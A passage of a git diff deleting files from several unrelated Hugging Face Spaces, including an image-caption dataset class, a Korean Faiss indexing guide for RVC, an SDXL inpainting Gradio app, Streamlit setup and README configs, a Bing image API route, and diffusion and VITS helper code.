-        imagenet_tensors_forward = pad_sequence(imagenet_tensors_forward,batch_first=True)
-        imagenet_tensors_backward = pad_sequence(imagenet_tensors_backward,batch_first=True)
-
-
-        print("imagenet_tensors_forward.shape: ", imagenet_tensors_forward.shape)
-        print("imagenet_tensors_backward.shape: ", imagenet_tensors_backward.shape)
-        print("tensor_lengths.shape: ", tensor_lengths.shape)
-         
-        self.imagenet_tensors_forward = imagenet_tensors_forward
-        self.imagenet_tensors_backward = imagenet_tensors_backward
-        self.tensor_lengths = tensor_lengths.long()
-
-    def __len__(self):
-        return len(self.instances)
-    
-    def __getitem__(self, idx: int):
-        
-        image_id, label = self.instances[idx]
-        image_path = self.image_id_to_file_path[image_id]
-        try:
-            image = cv2.imread(image_path)
-            image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
-            image = self.image_transform(image=image)["image"]
-            image = np.transpose(image, (2, 0, 1))
-        except:
-            print("$#%@#$%#image_path$@%:",image_path)
-            image = np.random.rand(234, 325, 3)
-            #image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
-            image = self.image_transform(image=image)["image"]
-            image = np.transpose(image, (2, 0, 1))
-
-        return {
-            "image": torch.tensor(image, dtype=torch.float),
-            "label": torch.tensor(label, dtype=torch.long),
-            "caption_tokens": self.imagenet_tensors_forward,
-            "noitpac_tokens": self.imagenet_tensors_backward,
-            "caption_lengths": self.tensor_lengths
-        }
-    
-    @staticmethod
-    def collate_fn(data: List[Dict[str, torch.Tensor]]) -> Dict[str, torch.Tensor]:
-        return {
-            "image": torch.stack([d["image"] for d in data], dim=0),
-            "label": torch.stack([d["label"] for d in data], dim=0),
-            "caption_tokens": data[0]['caption_tokens'],
-            "noitpac_tokens": data[0]['noitpac_tokens'],
-            "caption_lengths": data[0]['caption_lengths']
-        }
\ No newline at end of file
diff --git a/spaces/videfikri/aicover/docs/faiss_tips_ko.md b/spaces/videfikri/aicover/docs/faiss_tips_ko.md
deleted file mode 100644
index ecd518ca2a89996898057983761fc469eaf969d2..0000000000000000000000000000000000000000
--- a/spaces/videfikri/aicover/docs/faiss_tips_ko.md
+++ /dev/null
@@ -1,132 +0,0 @@
-Facebook AI Similarity Search (Faiss) 팁
-==================
-# Faiss에 대하여
-Faiss 는 Facebook Research가 개발하는, 고밀도 벡터 이웃 검색 라이브러리입니다. 근사 근접 탐색법 (Approximate Neigbor Search)은 약간의 정확성을 희생하여 유사 벡터를 고속으로 찾습니다.
-
-## RVC에 있어서 Faiss
-RVC에서는 HuBERT로 변환한 feature의 embedding을 위해 훈련 데이터에서 생성된 embedding과 유사한 embadding을 검색하고 혼합하여 원래의 음성에 더욱 가까운 변환을 달성합니다. 그러나, 이 탐색법은 단순히 수행하면 시간이 다소 소모되므로, 근사 근접 탐색법을 통해 고속 변환을 가능케 하고 있습니다.
-
-# 구현 개요
-모델이 위치한 `/logs/your-experiment/3_feature256`에는 각 음성 데이터에서 HuBERT가 추출한 feature들이 있습니다. 여기에서 파일 이름별로 정렬된 npy 파일을 읽고, 벡터를 연결하여 big_npy ([N, 256] 모양의 벡터) 를 만듭니다. big_npy를 `/logs/your-experiment/total_fea.npy`로 저장한 후, Faiss로 학습시킵니다.
-
-2023/04/18 기준으로, Faiss의 Index Factory 기능을 이용해, L2 거리에 근거하는 IVF를 이용하고 있습니다. IVF의 분할수(n_ivf)는 N//39로, n_probe는 int(np.power(n_ivf, 0.3))가 사용되고 있습니다. (infer-web.py의 train_index 주위를 찾으십시오.)
-
-이 팁에서는 먼저 이러한 매개 변수의 의미를 설명하고, 개발자가 추후 더 나은 index를 작성할 수 있도록 하는 조언을 작성합니다.
-
-# 방법의 설명
-## Index factory
-index factory는 여러 근사 근접 탐색법을 문자열로 연결하는 pipeline을 문자열로 표기하는 Faiss만의 독자적인 기법입니다. 이를 통해 index factory의 문자열을 변경하는 것만으로 다양한 근사 근접 탐색을 시도해 볼 수 있습니다. RVC에서는 다음과 같이 사용됩니다:
-
-```python
-index = Faiss.index_factory(256, "IVF%s,Flat" % n_ivf)
-```
-`index_factory`의 인수들 중 첫 번째는 벡터의 차원 수이고, 두번째는 index factory 문자열이며, 세번째에는 사용할 거리를 지정할 수 있습니다.
-
-기법의 보다 자세한 설명은 https://github.com/facebookresearch/Faiss/wiki/The-index-factory 를 확인해 주십시오.
-
-## 거리에 대한 index
-embedding의 유사도로서 사용되는 대표적인 지표로서 이하의 2개가 있습니다.
-
-- 유클리드 거리 (METRIC_L2)
-- 내적(内積) (METRIC_INNER_PRODUCT)
-
-유클리드 거리에서는 각 차원에서 제곱의 차를 구하고, 각 차원에서 구한 차를 모두 더한 후 제곱근을 취합니다. 이것은 일상적으로 사용되는 2차원, 3차원에서의 거리의 연산법과 같습니다. 내적은 그 값을 그대로 유사도 지표로 사용하지 않고, L2 정규화를 한 이후 내적을 취하는 코사인 유사도를 사용합니다.
-
-어느 쪽이 더 좋은지는 경우에 따라 다르지만, word2vec에서 얻은 embedding 및 ArcFace를 활용한 이미지 검색 모델은 코사인 유사성이 이용되는 경우가 많습니다. numpy를 사용하여 벡터 X에 대해 L2 정규화를 하고자 하는 경우, 0 division을 피하기 위해 충분히 작은 값을 eps로 한 뒤 이하에 코드를 활용하면 됩니다.
-
-```python
-X_normed = X / np.maximum(eps, np.linalg.norm(X, ord=2, axis=-1, keepdims=True))
-```
-
-또한, `index factory`의 3번째 인수에 건네주는 값을 선택하는 것을 통해 계산에 사용하는 거리 index를 변경할 수 있습니다.
-
-```python
-index = Faiss.index_factory(dimention, text, Faiss.METRIC_INNER_PRODUCT)
-```
-
-## IVF
-IVF (Inverted file indexes)는 역색인 탐색법과 유사한 알고리즘입니다. 학습시에는 검색 대상에 대해 k-평균 군집법을 실시하고 클러스터 중심을 이용해 보로노이 분할을 실시합니다. 각 데이터 포인트에는 클러스터가 할당되므로, 클러스터에서 데이터 포인트를 조회하는 dictionary를 만듭니다.
-
-예를 들어, 클러스터가 다음과 같이 할당된 경우
-|index|Cluster|
-|-----|-------|
-|1|A|
-|2|B|
-|3|A|
-|4|C|
-|5|B|
-
-IVF 이후의 결과는 다음과 같습니다:
-
-|cluster|index|
-|-------|-----|
-|A|1, 3|
-|B|2, 5|
-|C|4|
-
-탐색 시, 우선 클러스터에서 `n_probe`개의 클러스터를 탐색한 다음, 각 클러스터에 속한 데이터 포인트의 거리를 계산합니다.
-
-# 권장 매개변수
-index의 선택 방법에 대해서는 공식적으로 가이드 라인이 있으므로, 거기에 준해 설명합니다.
-https://github.com/facebookresearch/Faiss/wiki/Guidelines-to-choose-an-index
-
-1M 이하의 데이터 세트에 있어서는 4bit-PQ가 2023년 4월 시점에서는 Faiss로 이용할 수 있는 가장 효율적인 수법입니다. 이것을 IVF와 조합해, 4bit-PQ로 후보를 추려내고, 마지막으로 이하의 index factory를 이용하여 정확한 지표로 거리를 재계산하면 됩니다.
-
-```python
-index = Faiss.index_factory(256, "IVF1024,PQ128x4fs,RFlat")
-```
-
-## IVF 권장 매개변수
-IVF의 수가 너무 많으면, 가령 데이터 수의 수만큼 IVF로 양자화(Quantization)를 수행하면, 이것은 완전탐색과 같아져 효율이 나빠지게 됩니다. 1M 이하의 경우 IVF 값은 데이터 포인트 수 N에 대해 4sqrt(N) ~ 16sqrt(N)를 사용하는 것을 권장합니다.
-
-n_probe는 n_probe의 수에 비례하여 계산 시간이 늘어나므로 정확도와 시간을 적절히 균형을 맞추어 주십시오. 개인적으로 RVC에 있어서 그렇게까지 정확도는 필요 없다고 생각하기 때문에 n_probe = 1이면 된다고 생각합니다.
-
-## FastScan
-FastScan은 직적 양자화를 레지스터에서 수행함으로써 거리의 고속 근사를 가능하게 하는 방법입니다.직적 양자화는 학습시에 d차원마다(보통 d=2)에 독립적으로 클러스터링을 실시해, 클러스터끼리의 거리를 사전 계산해 lookup table를 작성합니다. 예측시는 lookup table을 보면 각 차원의 거리를 O(1)로 계산할 수 있습니다. 따라서 PQ 다음에 지정하는 숫자는 일반적으로 벡터의 절반 차원을 지정합니다.
-
-FastScan에 대한 자세한 설명은 공식 문서를 참조하십시오.
-https://github.com/facebookresearch/Faiss/wiki/Fast-accumulation-of-PQ-and-AQ-codes-(FastScan)
-
-## RFlat
-RFlat은 FastScan이 계산한 대략적인 거리를 index factory의 3번째 인수로 지정한 정확한 거리로 다시 계산하라는 인스트럭션입니다. k개의 근접 변수를 가져올 때 k*k_factor개의 점에 대해 재계산이 이루어집니다.
-
-# Embedding 테크닉
-## Alpha 쿼리 확장
-퀴리 확장이란 탐색에서 사용되는 기술로, 예를 들어 전문 탐색 시, 입력된 검색문에 단어를 몇 개를 추가함으로써 검색 정확도를 올리는 방법입니다. 백터 탐색을 위해서도 몇가지 방법이 제안되었는데, 그 중 α-쿼리 확장은 추가 학습이 필요 없는 매우 효과적인 방법으로 알려져 있습니다. [Attention-Based Query Expansion Learning](https://arxiv.org/abs/2007.08019)와 [2nd place solution of kaggle shopee competition](https://www.kaggle.com/code/lyakaap/2nd-place-solution/notebook) 논문에서 소개된 바 있습니다..
-
-α-쿼리 확장은 한 벡터에 인접한 벡터를 유사도의 α곱한 가중치로 더해주면 됩니다. 코드로 예시를 들어 보겠습니다. big_npy를 α query expansion로 대체합니다.
-
-```python
-alpha = 3.
-index = Faiss.index_factory(256, "IVF512,PQ128x4fs,RFlat")
-original_norm = np.maximum(np.linalg.norm(big_npy, ord=2, axis=1, keepdims=True), 1e-9)
-big_npy /= original_norm
-index.train(big_npy)
-index.add(big_npy)
-dist, neighbor = index.search(big_npy, num_expand)
-
-expand_arrays = []
-ixs = np.arange(big_npy.shape[0])
-for i in range(-(-big_npy.shape[0]//batch_size)):
-    ix = ixs[i*batch_size:(i+1)*batch_size]
-    weight = np.power(np.einsum("nd,nmd->nm", big_npy[ix], big_npy[neighbor[ix]]), alpha)
-    expand_arrays.append(np.sum(big_npy[neighbor[ix]] * np.expand_dims(weight, axis=2),axis=1))
-big_npy = np.concatenate(expand_arrays, axis=0)
-
-# index version 정규화
-big_npy = big_npy / np.maximum(np.linalg.norm(big_npy, ord=2, axis=1, keepdims=True), 1e-9)
-```
-
-위 테크닉은 탐색을 수행하는 쿼리에도, 탐색 대상 DB에도 적응 가능한 테크닉입니다.
-
-## MiniBatch KMeans에 의한 embedding 압축
-
-total_fea.npy가 너무 클 경우 K-means를 이용하여 벡터를 작게 만드는 것이 가능합니다. 이하 코드로 embedding의 압축이 가능합니다. n_clusters에 압축하고자 하는 크기를 지정하고 batch_size에 256 * CPU의 코어 수를 지정함으로써 CPU 병렬화의 혜택을 충분히 얻을 수 있습니다.
-
-```python
-import multiprocessing
-from sklearn.cluster import MiniBatchKMeans
-kmeans = MiniBatchKMeans(n_clusters=10000, batch_size=256 * multiprocessing.cpu_count(), init="random")
-kmeans.fit(big_npy)
-sample_npy = kmeans.cluster_centers_
-```
\ No newline at end of file
diff --git a/spaces/vih-v/SDXL-1.0-Inpainting/app.py b/spaces/vih-v/SDXL-1.0-Inpainting/app.py
deleted file mode 100644
index 268d230307fafa98ba7e3cb52933bb5915501404..0000000000000000000000000000000000000000
--- a/spaces/vih-v/SDXL-1.0-Inpainting/app.py
+++ /dev/null
@@ -1,37 +0,0 @@
-from diffusers import StableDiffusionXLInpaintPipeline
-import gradio as gr
-import numpy as np
-import imageio
-from PIL import Image
-import torch
-import modin.pandas as pd
-
-device = "cuda" if torch.cuda.is_available() else "cpu"
-pipe = StableDiffusionXLInpaintPipeline.from_pretrained("stabilityai/stable-diffusion-xl-base-1.0", safety_checker=None)
-pipe = pipe.to(device)
-
-def resize(value,img):
-    img = Image.open(img)
-    img = img.resize((value,value))
-    return img
-
-def predict(source_img, prompt, negative_prompt):
-    imageio.imwrite("data.png", source_img["image"])
-    imageio.imwrite("data_mask.png", source_img["mask"])
-    src = resize(768, "data.png")
-    src.save("src.png")
-    mask = resize(768, "data_mask.png")  
-    mask.save("mask.png")
-    image = pipe(prompt=prompt, negative_prompt=negative_prompt, image=src, mask_image=mask, num_inference_steps=20).images[0]
-    return image
-
-title="SDXL 1.0 Inpainting CPU"
-description=""
-gr.Interface(fn=predict, inputs=[gr.Image(source="upload", type="numpy", 
-tool="sketch", elem_id="source_container"), 
-gr.Textbox(label='What you want the AI to Generate, 77 Token limit'), 
-gr.Textbox(label='What you Do Not want the AI to generate')], 
-outputs='image', 
-title=title, 
-description=description, 
-article = "<br><br><br><br><br><br><br><br><br><br>").launch(max_threads=True, debug=True)
\ No newline at end of file
diff --git a/spaces/vikram767/myGenAIchaTBoat/README.md b/spaces/vikram767/myGenAIchaTBoat/README.md
deleted file mode 100644
index edc781abab867e6a86357f17af682a06b3d72e1c..0000000000000000000000000000000000000000
--- a/spaces/vikram767/myGenAIchaTBoat/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: MyGenAIchaTBoat
-emoji: 🏃
-colorFrom: purple
-colorTo: pink
-sdk: gradio
-sdk_version: 3.39.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/vishnun/CRAFT-OCR/README.md b/spaces/vishnun/CRAFT-OCR/README.md
deleted file mode 100644
index 07a5d3702f0294d75b840b2bcb92a1147be8940d..0000000000000000000000000000000000000000
--- a/spaces/vishnun/CRAFT-OCR/README.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: CRAFT OCR
-emoji: 👁
-colorFrom: pink
-colorTo: purple
-sdk: gradio
-app_file: app.py
-pinned: false
----
-
-# Configuration
-
-`title`: _string_  
-Display title for the Space
-
-`emoji`: _string_  
-Space emoji (emoji-only character allowed)
-
-`colorFrom`: _string_  
-Color for Thumbnail gradient (red, yellow, green, blue, indigo, purple, pink, gray)
-
-`colorTo`: _string_  
-Color for Thumbnail gradient (red, yellow, green, blue, indigo, purple, pink, gray)
-
-`sdk`: _string_  
-Can be either `gradio` or `streamlit`
-
-`sdk_version` : _string_  
-Only applicable for `streamlit` SDK.  
-See [doc](https://hf.co/docs/hub/spaces) for more info on supported versions.
-
-`app_file`: _string_  
-Path to your main application file (which contains either `gradio` or `streamlit` Python code).  
-Path is relative to the root of the repository.
-
-`pinned`: _boolean_  
-Whether the Space stays on top of your list.
diff --git a/spaces/vumichien/Generate_human_motion/pyrender/tests/__init__.py b/spaces/vumichien/Generate_human_motion/pyrender/tests/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/spaces/wanghuoto/gogoai/src/pages/api/image.ts b/spaces/wanghuoto/gogoai/src/pages/api/image.ts
deleted file mode 100644
index fbc0c8def432ba212d27347471670d3b6202463d..0000000000000000000000000000000000000000
--- a/spaces/wanghuoto/gogoai/src/pages/api/image.ts
+++ /dev/null
@@ -1,40 +0,0 @@
-'use server'
-
-import { NextApiRequest, NextApiResponse } from 'next'
-import { debug } from '@/lib/isomorphic'
-import { createHeaders } from '@/lib/utils'
-import { createImage } from '@/lib/bots/bing/utils'
-
-export default async function handler(req: NextApiRequest, res: NextApiResponse) {
-  const { prompt, id } = req.query
-  if (!prompt) {
-    return res.json({
-      result: {
-        value: 'Image',
-        message: 'No Prompt'
-      }
-    })
-  }
-  try {
-    const headers = createHeaders(req.cookies, {
-      IMAGE_BING_COOKIE: process.env.IMAGE_BING_COOKIE
-    }, 'image')
-
-    debug('headers', headers)
-    const response = await createImage(String(prompt), String(id), {
-      ...headers,
-      'x-ms-useragent': 'azsdk-js-api-client-factory/1.0.0-beta.1 core-rest-pipeline/1.10.0 OS/Win32',
-    })
-    res.writeHead(200, {
-      'Content-Type': 'text/plain; charset=UTF-8',
-    })
-    return res.end(response)
-  } catch (e) {
-    return res.json({
-      result: {
-        value: 'Error',
-        message: `${e}`
-      }
-    })
-  }
-}
diff --git a/spaces/whxxiaojiang/bingai/README.md b/spaces/whxxiaojiang/bingai/README.md
deleted file mode 100644
index c3d2b65980203e7d04266386cad4850085c72751..0000000000000000000000000000000000000000
--- a/spaces/whxxiaojiang/bingai/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Bingai
-emoji: 🐠
-colorFrom: yellow
-colorTo: green
-sdk: docker
-pinned: false
-license: mit
-app_port: 8080
-duplicated_from: laowan/bingai
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/winwithakash/Flight-Fare-Price-Prediction/setup.sh b/spaces/winwithakash/Flight-Fare-Price-Prediction/setup.sh
deleted file mode 100644
index f0ab2585fe12edf5a8ea8eb3a8614ba23ed52e7f..0000000000000000000000000000000000000000
--- a/spaces/winwithakash/Flight-Fare-Price-Prediction/setup.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-mkdir -p ~/.streamlit/
-echo "\
-[server]\n\
-headless = true\n\
-port = $PORT\n\
-enableCORS = false\n\
-\n\
-" > ~/.streamlit/config.toml
\ No newline at end of file
diff --git a/spaces/wpeebles/DiT/diffusion/timestep_sampler.py b/spaces/wpeebles/DiT/diffusion/timestep_sampler.py
deleted file mode 100644
index a3f369847677d8dbaaadb8297691b1be92cf189f..0000000000000000000000000000000000000000
--- a/spaces/wpeebles/DiT/diffusion/timestep_sampler.py
+++ /dev/null
@@ -1,150 +0,0 @@
-# Modified from OpenAI's diffusion repos
-#     GLIDE: https://github.com/openai/glide-text2im/blob/main/glide_text2im/gaussian_diffusion.py
-#     ADM:   https://github.com/openai/guided-diffusion/blob/main/guided_diffusion
-#     IDDPM: https://github.com/openai/improved-diffusion/blob/main/improved_diffusion/gaussian_diffusion.py
-
-from abc import ABC, abstractmethod
-
-import numpy as np
-import torch as th
-import torch.distributed as dist
-
-
-def create_named_schedule_sampler(name, diffusion):
-    """
-    Create a ScheduleSampler from a library of pre-defined samplers.
-    :param name: the name of the sampler.
-    :param diffusion: the diffusion object to sample for.
-    """
-    if name == "uniform":
-        return UniformSampler(diffusion)
-    elif name == "loss-second-moment":
-        return LossSecondMomentResampler(diffusion)
-    else:
-        raise NotImplementedError(f"unknown schedule sampler: {name}")
-
-
-class ScheduleSampler(ABC):
-    """
-    A distribution over timesteps in the diffusion process, intended to reduce
-    variance of the objective.
-    By default, samplers perform unbiased importance sampling, in which the
-    objective's mean is unchanged.
-    However, subclasses may override sample() to change how the resampled
-    terms are reweighted, allowing for actual changes in the objective.
-    """
-
-    @abstractmethod
-    def weights(self):
-        """
-        Get a numpy array of weights, one per diffusion step.
-        The weights needn't be normalized, but must be positive.
-        """
-
-    def sample(self, batch_size, device):
-        """
-        Importance-sample timesteps for a batch.
-        :param batch_size: the number of timesteps.
-        :param device: the torch device to save to.
-        :return: a tuple (timesteps, weights):
-                 - timesteps: a tensor of timestep indices.
-                 - weights: a tensor of weights to scale the resulting losses.
-        """
-        w = self.weights()
-        p = w / np.sum(w)
-        indices_np = np.random.choice(len(p), size=(batch_size,), p=p)
-        indices = th.from_numpy(indices_np).long().to(device)
-        weights_np = 1 / (len(p) * p[indices_np])
-        weights = th.from_numpy(weights_np).float().to(device)
-        return indices, weights
-
-
-class UniformSampler(ScheduleSampler):
-    def __init__(self, diffusion):
-        self.diffusion = diffusion
-        self._weights = np.ones([diffusion.num_timesteps])
-
-    def weights(self):
-        return self._weights
-
-
-class LossAwareSampler(ScheduleSampler):
-    def update_with_local_losses(self, local_ts, local_losses):
-        """
-        Update the reweighting using losses from a model.
-        Call this method from each rank with a batch of timesteps and the
-        corresponding losses for each of those timesteps.
-        This method will perform synchronization to make sure all of the ranks
-        maintain the exact same reweighting.
-        :param local_ts: an integer Tensor of timesteps.
-        :param local_losses: a 1D Tensor of losses.
-        """
-        batch_sizes = [
-            th.tensor([0], dtype=th.int32, device=local_ts.device)
-            for _ in range(dist.get_world_size())
-        ]
-        dist.all_gather(
-            batch_sizes,
-            th.tensor([len(local_ts)], dtype=th.int32, device=local_ts.device),
-        )
-
-        # Pad all_gather batches to be the maximum batch size.
-        batch_sizes = [x.item() for x in batch_sizes]
-        max_bs = max(batch_sizes)
-
-        timestep_batches = [th.zeros(max_bs).to(local_ts) for bs in batch_sizes]
-        loss_batches = [th.zeros(max_bs).to(local_losses) for bs in batch_sizes]
-        dist.all_gather(timestep_batches, local_ts)
-        dist.all_gather(loss_batches, local_losses)
-        timesteps = [
-            x.item() for y, bs in zip(timestep_batches, batch_sizes) for x in y[:bs]
-        ]
-        losses = [x.item() for y, bs in zip(loss_batches, batch_sizes) for x in y[:bs]]
-        self.update_with_all_losses(timesteps, losses)
-
-    @abstractmethod
-    def update_with_all_losses(self, ts, losses):
-        """
-        Update the reweighting using losses from a model.
-        Sub-classes should override this method to update the reweighting
-        using losses from the model.
-        This method directly updates the reweighting without synchronizing
-        between workers. It is called by update_with_local_losses from all
-        ranks with identical arguments. Thus, it should have deterministic
-        behavior to maintain state across workers.
-        :param ts: a list of int timesteps.
-        :param losses: a list of float losses, one per timestep.
-        """
-
-
-class LossSecondMomentResampler(LossAwareSampler):
-    def __init__(self, diffusion, history_per_term=10, uniform_prob=0.001):
-        self.diffusion = diffusion
-        self.history_per_term = history_per_term
-        self.uniform_prob = uniform_prob
-        self._loss_history = np.zeros(
-            [diffusion.num_timesteps, history_per_term], dtype=np.float64
-        )
-        self._loss_counts = np.zeros([diffusion.num_timesteps], dtype=np.int)
-
-    def weights(self):
-        if not self._warmed_up():
-            return np.ones([self.diffusion.num_timesteps], dtype=np.float64)
-        weights = np.sqrt(np.mean(self._loss_history ** 2, axis=-1))
-        weights /= np.sum(weights)
-        weights *= 1 - self.uniform_prob
-        weights += self.uniform_prob / len(weights)
-        return weights
-
-    def update_with_all_losses(self, ts, losses):
-        for t, loss in zip(ts, losses):
-            if self._loss_counts[t] == self.history_per_term:
-                # Shift out the oldest loss term.
-                self._loss_history[t, :-1] = self._loss_history[t, 1:]
-                self._loss_history[t, -1] = loss
-            else:
-                self._loss_history[t, self._loss_counts[t]] = loss
-                self._loss_counts[t] += 1
-
-    def _warmed_up(self):
-        return (self._loss_counts == self.history_per_term).all()
diff --git a/spaces/wzq10314/VITS-Umamusume-voice-synthesizer1/ONNXVITS_transforms.py b/spaces/wzq10314/VITS-Umamusume-voice-synthesizer1/ONNXVITS_transforms.py
deleted file mode 100644
index 69b6d1c4b5724a3ef61f8bc3d64fc45c5e51e270..0000000000000000000000000000000000000000
--- a/spaces/wzq10314/VITS-Umamusume-voice-synthesizer1/ONNXVITS_transforms.py
+++ /dev/null
@@ -1,196 +0,0 @@
-import torch
-from torch.nn import functional as F
-
-import numpy as np
-
-
-DEFAULT_MIN_BIN_WIDTH = 1e-3
-DEFAULT_MIN_BIN_HEIGHT = 1e-3
-DEFAULT_MIN_DERIVATIVE = 1e-3
-
-
-def piecewise_rational_quadratic_transform(inputs, 
-                                           unnormalized_widths,
-                                           unnormalized_heights,
-                                           unnormalized_derivatives,
-                                           inverse=False,
-                                           tails=None, 
-                                           tail_bound=1.,
-                                           min_bin_width=DEFAULT_MIN_BIN_WIDTH,
-                                           min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
-                                           min_derivative=DEFAULT_MIN_DERIVATIVE):
-
-    if tails is None:
-        spline_fn = rational_quadratic_spline
-        spline_kwargs = {}
-    else:
-        spline_fn = unconstrained_rational_quadratic_spline
-        spline_kwargs = {
-            'tails': tails,
-            'tail_bound': tail_bound
-        }
-
-    outputs, logabsdet = spline_fn(
-            inputs=inputs,
-            unnormalized_widths=unnormalized_widths,
-            unnormalized_heights=unnormalized_heights,
-            unnormalized_derivatives=unnormalized_derivatives,
-            inverse=inverse,
-            min_bin_width=min_bin_width,
-            min_bin_height=min_bin_height,
-            min_derivative=min_derivative,
-            **spline_kwargs
-    )
-    return outputs, logabsdet
-
-
-def searchsorted(bin_locations, inputs, eps=1e-6):
-    bin_locations[..., -1] += eps
-    return torch.sum(
-        inputs[..., None] >= bin_locations,
-        dim=-1
-    ) - 1
-
-
-def unconstrained_rational_quadratic_spline(inputs,
-                                            unnormalized_widths,
-                                            unnormalized_heights,
-                                            unnormalized_derivatives,
-                                            inverse=False,
-                                            tails='linear',
-                                            tail_bound=1.,
-                                            min_bin_width=DEFAULT_MIN_BIN_WIDTH,
-                                            min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
-                                            min_derivative=DEFAULT_MIN_DERIVATIVE):
-    inside_interval_mask = (inputs >= -tail_bound) & (inputs <= tail_bound)
-    outside_interval_mask = ~inside_interval_mask
-
-    outputs = torch.zeros_like(inputs)
-    logabsdet = torch.zeros_like(inputs)
-
-    if tails == 'linear':
-        #unnormalized_derivatives = F.pad(unnormalized_derivatives, pad=(1, 1))
-        unnormalized_derivatives_ = torch.zeros((1, 1, unnormalized_derivatives.size(2), unnormalized_derivatives.size(3)+2))
-        unnormalized_derivatives_[...,1:-1] = unnormalized_derivatives
-        unnormalized_derivatives = unnormalized_derivatives_
-        constant = np.log(np.exp(1 - min_derivative) - 1)
-        unnormalized_derivatives[..., 0] = constant
-        unnormalized_derivatives[..., -1] = constant
-
-        outputs[outside_interval_mask] = inputs[outside_interval_mask]
-        logabsdet[outside_interval_mask] = 0
-    else:
-        raise RuntimeError('{} tails are not implemented.'.format(tails))
-
-    outputs[inside_interval_mask], logabsdet[inside_interval_mask] = rational_quadratic_spline(
-        inputs=inputs[inside_interval_mask],
-        unnormalized_widths=unnormalized_widths[inside_interval_mask, :],
-        unnormalized_heights=unnormalized_heights[inside_interval_mask, :],
-        unnormalized_derivatives=unnormalized_derivatives[inside_interval_mask, :],
-        inverse=inverse,
-        left=-tail_bound, right=tail_bound, bottom=-tail_bound, top=tail_bound,
-        min_bin_width=min_bin_width,
-        min_bin_height=min_bin_height,
-        min_derivative=min_derivative
-    )
-
-    return outputs, logabsdet
-
-def rational_quadratic_spline(inputs,
-                              unnormalized_widths,
-                              unnormalized_heights,
-                              unnormalized_derivatives,
-                              inverse=False,
-                              left=0., right=1., bottom=0., top=1.,
-                              min_bin_width=DEFAULT_MIN_BIN_WIDTH,
-                              min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
-                              min_derivative=DEFAULT_MIN_DERIVATIVE):
-    if torch.min(inputs) < left or torch.max(inputs) > right:
-        raise ValueError('Input to a transform is not within its domain')
-
-    num_bins = unnormalized_widths.shape[-1]
-
-    if min_bin_width * num_bins > 1.0:
-        raise ValueError('Minimal bin width too large for the number of bins')
-    if min_bin_height * num_bins > 1.0:
-        raise ValueError('Minimal bin height too large for the number of bins')
-
-    widths = F.softmax(unnormalized_widths, dim=-1)
-    widths = min_bin_width + (1 - min_bin_width * num_bins) * widths
-    cumwidths = torch.cumsum(widths, dim=-1)
-    cumwidths = F.pad(cumwidths, pad=(1, 0), mode='constant', value=0.0)
-    cumwidths = (right - left) * cumwidths + left
-    cumwidths[..., 0] = left
-    cumwidths[..., -1] = right
-    widths = cumwidths[..., 1:] - cumwidths[..., :-1]
-
-    derivatives = min_derivative + F.softplus(unnormalized_derivatives)
-
-    heights = F.softmax(unnormalized_heights, dim=-1)
-    heights = min_bin_height + (1 - min_bin_height * num_bins) * heights
-    cumheights = torch.cumsum(heights, dim=-1)
-    cumheights = F.pad(cumheights, pad=(1, 0), mode='constant', value=0.0)
-    cumheights = (top - bottom) * cumheights + bottom
-    cumheights[..., 0] = bottom
-    cumheights[..., -1] = top
-    heights = cumheights[..., 1:] - cumheights[..., :-1]
-
-    if inverse:
-        bin_idx = searchsorted(cumheights, inputs)[..., None]
-    else:
-        bin_idx = searchsorted(cumwidths, inputs)[..., None]
-
-    input_cumwidths = cumwidths.gather(-1, bin_idx)[..., 0]
-    input_bin_widths = widths.gather(-1, bin_idx)[..., 0]
-
-    input_cumheights = cumheights.gather(-1, bin_idx)[..., 0]
-    delta = heights / widths
-    input_delta = delta.gather(-1, bin_idx)[..., 0]
-
-    input_derivatives = derivatives.gather(-1, bin_idx)[..., 0]
-    input_derivatives_plus_one = derivatives[..., 1:].gather(-1, bin_idx)[..., 0]
-
-    input_heights = heights.gather(-1, bin_idx)[..., 0]
-
-    if inverse:
-        a = (((inputs - input_cumheights) * (input_derivatives
-                                             + input_derivatives_plus_one
-                                             - 2 * input_delta)
-              + input_heights * (input_delta - input_derivatives)))
-        b = (input_heights * input_derivatives
-             - (inputs - input_cumheights) * (input_derivatives
-                                              + input_derivatives_plus_one
-                                              - 2 * input_delta))
-        c = - input_delta * (inputs - input_cumheights)
-
-        discriminant = b.pow(2) - 4 * a * c
-        assert (discriminant >= 0).all()
-
-        root = (2 * c) / (-b - torch.sqrt(discriminant))
-        outputs = root * input_bin_widths + input_cumwidths
-
-        theta_one_minus_theta = root * (1 - root)
-        denominator = input_delta + ((input_derivatives + input_derivatives_plus_one - 2 * input_delta)
-                                     * theta_one_minus_theta)
-        derivative_numerator = input_delta.pow(2) * (input_derivatives_plus_one * root.pow(2)
-                                                     + 2 * input_delta * theta_one_minus_theta
-                                                     + input_derivatives * (1 - root).pow(2))
-        logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator)
-
-        return outputs, -logabsdet
-    else:
-        theta = (inputs - input_cumwidths) / input_bin_widths
-        theta_one_minus_theta = theta * (1 - theta)
-
-        numerator = input_heights * (input_delta * theta.pow(2)
-                                     + input_derivatives * theta_one_minus_theta)
-        denominator = input_delta + ((input_derivatives + input_derivatives_plus_one - 2 * input_delta)
-                                     * theta_one_minus_theta)
-        outputs = input_cumheights + numerator / denominator
-
-        derivative_numerator = input_delta.pow(2) * (input_derivatives_plus_one * theta.pow(2)
-                                                     + 2 * input_delta * theta_one_minus_theta
-                                                     + input_derivatives * (1 - theta).pow(2))
-        logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator)
-
-        return outputs, logabsdet
diff --git a/spaces/xu1998hz/sescore_german_mt/README.md b/spaces/xu1998hz/sescore_german_mt/README.md
